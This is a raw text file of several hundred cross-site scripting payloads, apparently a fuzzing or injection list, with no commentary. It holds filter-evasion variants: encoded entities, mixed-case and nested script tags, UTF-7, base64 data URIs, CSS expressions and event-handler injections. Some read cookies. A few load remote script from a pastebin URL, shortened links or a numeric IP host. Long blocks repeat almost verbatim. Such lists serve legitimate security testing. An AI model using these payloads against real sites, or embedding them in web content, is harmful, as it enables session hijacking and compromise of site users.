xss_payloads.txt

<input onfocus="eval(prompt(1))" autofocus>XSS</input>
<input onfocus=<svg poster="XSS" onmouseover="eval(atob(alert(1)))">autofocus>
<input type="search" onsearch=prompt(1) autofocus>
<details ontoggle=confirm(1)> 
"xxxxxxxxx'yyyyyyy</script><script>confirm(1)</script>
<h1>><img src= "alert(’<h1>xss’);" <h1>><img onerror="eval(atob(’YWxlcnQoZG9jdW1lbnQud3JpdGUoZG9jdW1lbnQuY29va2llKSk=’))" src= "asd<h1>"/**/# >>
<input onblur=alert(1) autofocus><input autofocus>
"><script src=//3237054390/1>
<input onfocus="prompt(1)">
'"><img src=a:alert(1) onerror=eval(src)>
"><svg onload=1/alert`1`//
data:text/html;script,"><script>alert('XSS')</script>
data:text/html;base64,JyI+PHNjcmlwdD5hbGVydCgndDRyeDNzJyk8L3NjcmlwdD4=
javascript:prompt(0)
<body%2Fsrc="g"%2Fonclick%0A=%091?confirm(1):0%0C>aaaaaaaaa
<a%2Fvalue=aaaaaaaaa%2Fonclick%0C=%0Bq=open,q()%0C>AAAAAAAAA
d<img src=x onerror=prompt(1)>
%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert(1)%EF%BC%9E
<input name="123" value="\" style=\"a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;\" onmouseover=alert(1); a=\""/>
<script src=//goo.gl/TJnzmV>                                                               
<iframe src=//goo.gl/xWYG4f>
' size=99 onmouseover=document.write(atob('U2HEn29sIHlhdnJ1bQ==)); a='asd
'"><img src=x onerror=alert(document.domain)>
'"><marquee loop=1 width=0 onfinish=alert(1)>
'"><svg><script>/<1/>alert(document.domain)</script></svg>
'"><svg/onload=confirm(document.domain)>
"><script/brute>alert(/XSS ED/)</script/logic>
"><img src="c" onerror="alert(1)"><script>alert(1)</script>
</script><script>alert(1)</script> 
'">%20style='width:expression(alert(document.domain))'%20><script>alert(document.domain)</script>
'-confirm(1)-' 
<svg xmlns="http://www.w3.org/2000/svg " onload="alert(1337)"></svg>
';alert('xss');'
<p onmouseover=prompt(1)>IamParagraph</p>
</scscriptript><scscriptript src=http://pastebin.com/raw.php?i=v9wM1dHf></scriscriptpt>
</scscriptript><scscriptript>alalertert(document.cookie)</scriscriptpt></scscriptript><scscriptript>alalertert(document.cookie)</scriscriptpt>
</script><script>confirm(document.domain)</script>
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
<input onfocus=alert(1) autofocus> 
<script>alert(1)</script>
--></img><img src=# onmouseover=';alert(1337);h=';>
</script><img src=x onerror=alert(1);>
</script><iframe/onload=alert(1)>
'"--></style></script><script>alert(String.fromCharCode(88,83,83))</script>
<xmp><script </xmp> alert(1) </script> 
’; alALERTert(/xss/);f=’
<h1 onmouseover=prompt(0)>XSS
<h1 onmouseover=alert&lpar;1&rpar;>xwx
<h1/onmouseover='\u0061lert(1)'>xwx
<xpm><script </xpm> alert(2) </script>
<img src=x onerror=alert(1);>
&lt;script&gt;alert(&#39;123&#39;);&lt;/script&gt;
<svg><script>123<1>alert(123)</script> 
<sc<script>ript>alert(123)</sc</script>ript>
" onfocus=JaVaSCript:alert(123) autofocus 
<script\x20type="text/javascript">javascript:alert(1);</script>
'`"><\x00script>javascript:alert(1)</script>
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
"`'><script>\x3Bjavascript:alert(1)</script>
" onmouseover="alert(123);" xss="
<img\x32src=x onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<script src="\\%(jscript)s"></script>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<style ONLOAD=prompt(1)>
<iframe/onload=alert(1)>
<svg><script>prompt&#40;1)<b>
<svg><script>prompt&#40;1)</script>
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>
--!><svg/onload=prompt(1)
//prompt.ml%2f@⒕₨
//prompt.ml%2f@ᄒ.ws/✌
<svg/onload=prompt(1)>
javascript:prompt(1)#{"action":1}
vbscript:prompt(1)#{"action":1}
"><svg/a=#"onload='/*#*/prompt(1)'
"><script x=#"async=#"src="//⒛₨
p'rompt(1)
"(prompt(1))in"
eval(630038579..toString(30))(1)
for((i)in(self))eval(i)(1)
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
"><svg><!--#--><script><!--#-->prompt(1)</
"><script>`#${prompt(1)}#`</script>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;"xss"&rpar;&gt;'>
<svg onload=alert(1)>
data:text/plain,alert('xwx')
"><svg/onload=prompt(1)>
"onresize=prompt(1)>
<svg/onload=prompt(1) 
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==					 
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video onerror="javascript:alert(1)"><source>
<audio onerror="javascript:alert(1)"><source>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form><button formaction="javascript:alert(1)">	
"style=background:black; onmouseover=alert(1)"
"autofocus/onfocus="alert(1)
"onmouseover="alert(1);"
"/onmouseover= alert(1)>
"onload="alert(1)""
<input onblur=write(1) autofocus><input autofocus>
"autofocus/onfocus="alert &#40/1&#41
onfocus=onfocus=\u0061lert(1) autofocus
autofocus onfocus=window.onerror=alert;throw/1/;//
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>	
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<marquee/onstart=alert(1)>xwx
<div/onmouseover='alert(1)'>xwx
<h1/onmouseover='alert(1)'>xwx
<h1 onmouseover='alert(1)'>xwx
<p onmouseover='alert(1)'>xwx
<p/onmouseover='alert(1)'>xwx
<plaintext/onmouseover=prompt(1)> 
<video poster=javascript:alert(1)//></video>
<svg><x><script>alert&#40;1&#41</x>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<svg onload=window.onerror=alert;throw/1/;//"/>
<img src=x onerror=while(true){prompt(1)}>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
<!--<img src="--><img src=x onerror=alert(1)//">
<svg id=javascript:alert(1) onload=location=id>
<svg id=alert(1) onload=eval(id)>
<img src=x:alert(alt) onerror=eval(src) alt=xwx>
<body/onpageshow=(alert)(1)>
<svg id=alert(1) onload=eval(id)>
<svg onload=(alert)(1) >
<frameset onload=alert(1)>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<video><source onerror="javascript:alert(1)">
<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>
<video onerror="javascript:alert(1)"><source></source></video> 
alert( String(/XSS[s]/).substr(1,4) );
(sessionStorage[!-1]=alert)(!-1)
<script>alert( String(/XSS[s]/).substr(1,4) );(sessionStorage[!-1]=alert)(!-1)</script> 
<form><button formaction="javascript:alert(1)">X</button> 
<body oninput=alert(1)><input autofocus>
<video poster="#" onmouseover="prompt(1)">
<math href="javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(1)">CLICKME</maction> </math>
"><img src=x "onmouseover"=prompt(1);>
"><sCRipT>alert(123);</sCRipT><input value="
" onmouseover="prompt(1)"/ 
<svg/onload=';alert(document.domain);'>
<sCRipT>alert('XSS');</sCRipT>
<sCRipT>alert(123);</sCRipT>
</script><svg onload="alert(/x/)"><script>
"><sCRipT>alert('XSS');</sCRipT>
"><sCRipT>alert(123);</sCRipT>
<style TYPE="text/javascript">alert('hello');</style>
"><sCRipT>alert('XSS');</sCRipT><input value="
</textarea><sCRipT>alert('XSS');</sCRipT><textarea rows=1 cols=1>
</textarea><sCRipT>alert(123);</sCRipT><textarea rows=1 cols=1>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRipT>">'><sCRipT>alert(String.fromCharCode(88,83,83))</sCRipT>
(onclick="alert(’XSSRes’))
"><img src=x onerror=alert(document.cookie)>
"/>0\"autofocus/onfocus=alert(/XSSPO SED/)--><video/poster/onerror=prompt(/XSSPOSED/)>"-confirm(/XSSPOSED/)-"
onclick="alert(’XSSRes’)
<input onfocus="prompt(1337)"> 
<img src="javascript:alert('hello');">
<img src="java&#010;script:alert('hello');">
<img src="java&#X0A;script:alert('hello');">
<IMG SRC="javasCRipT:alert('XSS');">
" +onmouseover%3d'alert(%22xss%22)%3b''=""
</script><script>alert('XSSTARXESED')</script>
<IMG SRC=javasCRipT:alert('XSS')>
<IMG SRC=JaVasCRipT:alert('XSS')>
<IMG SRC=javasCRipT:alert("XSS")>
'">><marquee><h1>XSS</h1></marquee>
</sCRipT>">'><sCRipT>prompt(1);</sCRipT>
</title><sCRipT>prompt(1);</sCRipT>
</script><script>prompt(1)</script>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="javasCRipT:alert('XSS');">
<IMG SRC="jav&#x09;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0A;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0D;asCRipT:alert('XSS');">
perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javasCRipT:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="
<<sCRipT>alert("XSS");//<</sCRipT>
<img src='zzzz' onerror='alert(1)' />
<IMG SRC="javasCRipT:alert('XSS')"
\";alert('XSS');//
\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e
</TITLE><sCRipT>alert("XSS");</sCRipT><TITLE>
<INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');">
<IMG DYNSRC="javasCRipT:alert('XSS')">
<IMG LOWSRC="javasCRipT:alert('XSS')">
<STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<BGSOUND SRC="javasCRipT:alert('XSS');">
<LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');">
<iframe src="javascript:alert(1)"></iframe>
<IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<TABLE BACKGROUND="javasCRipT:alert('XSS')">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRipT>alert('XSS')</sCRipT>">
<sCRipT =">" >alert(123);</sCRipT>
"></textarea>';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRipT>">'><sCRipT>alert(String.fromCharCode(88,83,83))</sCRipT><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=JaVasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>" onmouseover="alert(123);" xss="<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav	asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x09;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0A;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0D;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea>perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=" &#14;  javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="<textarea rows=1 cols=1><input value="
"></textarea><<sCRipT>alert("XSS");//<</sCRipT><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS')"<textarea rows=1 cols=1><input value="
"></textarea>\";alert('XSS');//<textarea rows=1 cols=1><input value="
"></textarea></TITLE><sCRipT>alert("XSS");</sCRipT><TITLE><textarea rows=1 cols=1><input value="
"></textarea><INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG DYNSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><IMG LOWSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br><textarea rows=1 cols=1><input value="
"></textarea><BGSOUND SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BR SIZE="&{alert('XSS')}"><textarea rows=1 cols=1><input value="
"></textarea><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="xss:expression(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="behavior: url(xss.htc);"><textarea rows=1 cols=1><input value="
"></textarea>¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><TABLE BACKGROUND="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><textarea rows=1 cols=1><input value="
"></textarea> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRipT>alert('XSS')</sCRipT>"><textarea rows=1 cols=1><input value="
"></textarea><sCRipT =">" >alert(123);</sCRipT><textarea rows=1 cols=1><input value="
<sCRip<script>T>alert('XSS');</sCRip<script>T>
<sCRip<script>T>alert(123);</sCRip<script>T>
"><sCRip<script>T>alert('XSS');</sCRip<script>T>
"><sCRip<script>T>alert(123);</sCRip<script>T>
"><sCRip<script>T>alert('XSS');</sCRip<script>T><input value="
"><sCRip<script>T>alert(123);</sCRip<script>T><input value="
</textarea><sCRip<script>T>alert('XSS');</sCRip<script>T><textarea rows=1 cols=1>
</textarea><sCRip<script>T>alert(123);</sCRip<script>T><textarea rows=1 cols=1>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRip<script>T>">'><sCRip<script>T>alert(String.fromCharCode(88,83,83))</sCRip<script>T>
<IMG SRC="javasCRipT:alert('XSS');">
<IMG SRC=javasCRipT:alert('XSS')>
<IMG SRC=JaVasCRipT:alert('XSS')>
<IMG SRC=javasCRipT:alert("XSS")>
" onmouseover="alert(123);" xss="
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav	asCRipT:alert('XSS');">
<IMG SRC="jav&#x09;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0A;asCRipT:alert('XSS');">
<IMG SRC="jav&#x0D;asCRipT:alert('XSS');">
perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javasCRipT:alert('XSS');">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="
<<sCRip<script>T>alert("XSS");//<</sCRip<script>T>
<IMG SRC="javasCRipT:alert('XSS')"
\";alert('XSS');//
</TITLE><sCRip<script>T>alert("XSS");</sCRip<script>T><TITLE>
<INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');">
<IMG DYNSRC="javasCRipT:alert('XSS')">
<IMG LOWSRC="javasCRipT:alert('XSS')">
<STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<BGSOUND SRC="javasCRipT:alert('XSS');">
<LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
<STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');">
<IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<TABLE BACKGROUND="javasCRipT:alert('XSS')">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRip<script>T>alert('XSS')</sCRip<script>T>">
<sCRipT =">" >alert(123);</sCRip<script>T>
"></textarea>';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></sCRip<script>T>">'><sCRip<script>T>alert(String.fromCharCode(88,83,83))</sCRip<script>T><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=JaVasCRipT:alert('XSS')><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=javasCRipT:alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>" onmouseover="alert(123);" xss="<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav	asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x09;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0A;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="jav&#x0D;asCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea>perl -e 'print "<IMG SRC=java\0sCRipT:alert(\"XSS\")>";' > out<textarea rows=1 cols=1><input value="
"></textarea><IMG SRC=" &#14;  javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><textarea rows=1 cols=1><input value="
"></textarea>"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><input value="<textarea rows=1 cols=1><input value="
"></textarea><<sCRip<script>T>alert("XSS");//<</sCRip<script>T><textarea rows=1 cols=1><input value="
"></textarea><IMG SRC="javasCRipT:alert('XSS')"<textarea rows=1 cols=1><input value="
"></textarea>\";alert('XSS');//<textarea rows=1 cols=1><input value="
"></textarea></TITLE><sCRip<script>T>alert("XSS");</sCRip<script>T><TITLE><textarea rows=1 cols=1><input value="
"></textarea><INPUT TYPE="IMAGE" SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IMG DYNSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><IMG LOWSRC="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><STYLE>li {list-style-image: url("javasCRipT:alert('XSS')");}</STYLE><UL><LI>XSS</br><textarea rows=1 cols=1><input value="
"></textarea><BGSOUND SRC="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><LINK REL="stylesheet" HREF="javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><BR SIZE="&{alert('XSS')}"><textarea rows=1 cols=1><input value="
"></textarea><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="xss:expression(alert('XSS'))"><textarea rows=1 cols=1><input value="
"></textarea><STYLE type="text/css">BODY{background:url("javasCRipT:alert('XSS')")}</STYLE><textarea rows=1 cols=1><input value="
"></textarea><XSS STYLE="behavior: url(xss.htc);"><textarea rows=1 cols=1><input value="
"></textarea>¼sCRipT¾alert(¢XSS¢)¼/sCRipT¾<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javasCRipT:alert('XSS');"><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC="javasCRipT:alert('XSS');"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME><textarea rows=1 cols=1><input value="
"></textarea><TABLE BACKGROUND="javasCRipT:alert('XSS')"><textarea rows=1 cols=1><input value="
"></textarea><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><textarea rows=1 cols=1><input value="
"></textarea> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-sCRipT+AD4-alert('XSS');+ADw-/sCRipT+AD4-<textarea rows=1 cols=1><input value="
"></textarea><META HTTP-EQUIV="Set-Cookie" Content="USERID=<sCRip<script>T>alert('XSS')</sCRip<script>T>"><textarea rows=1 cols=1><input value="
"></textarea><sCRipT =">" >alert(123);</sCRip<script>T><textarea rows=1 cols=1><input value="<input onfocus="eval(prompt(1))" autofocus>XSS</input>
<input onfocus=<svg poster="XSS" onmouseover="eval(atob(alert(1)))">autofocus>
<input onblur=write(1) autofocus><input autofocus>
<input onfocus="prompt(1)">
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
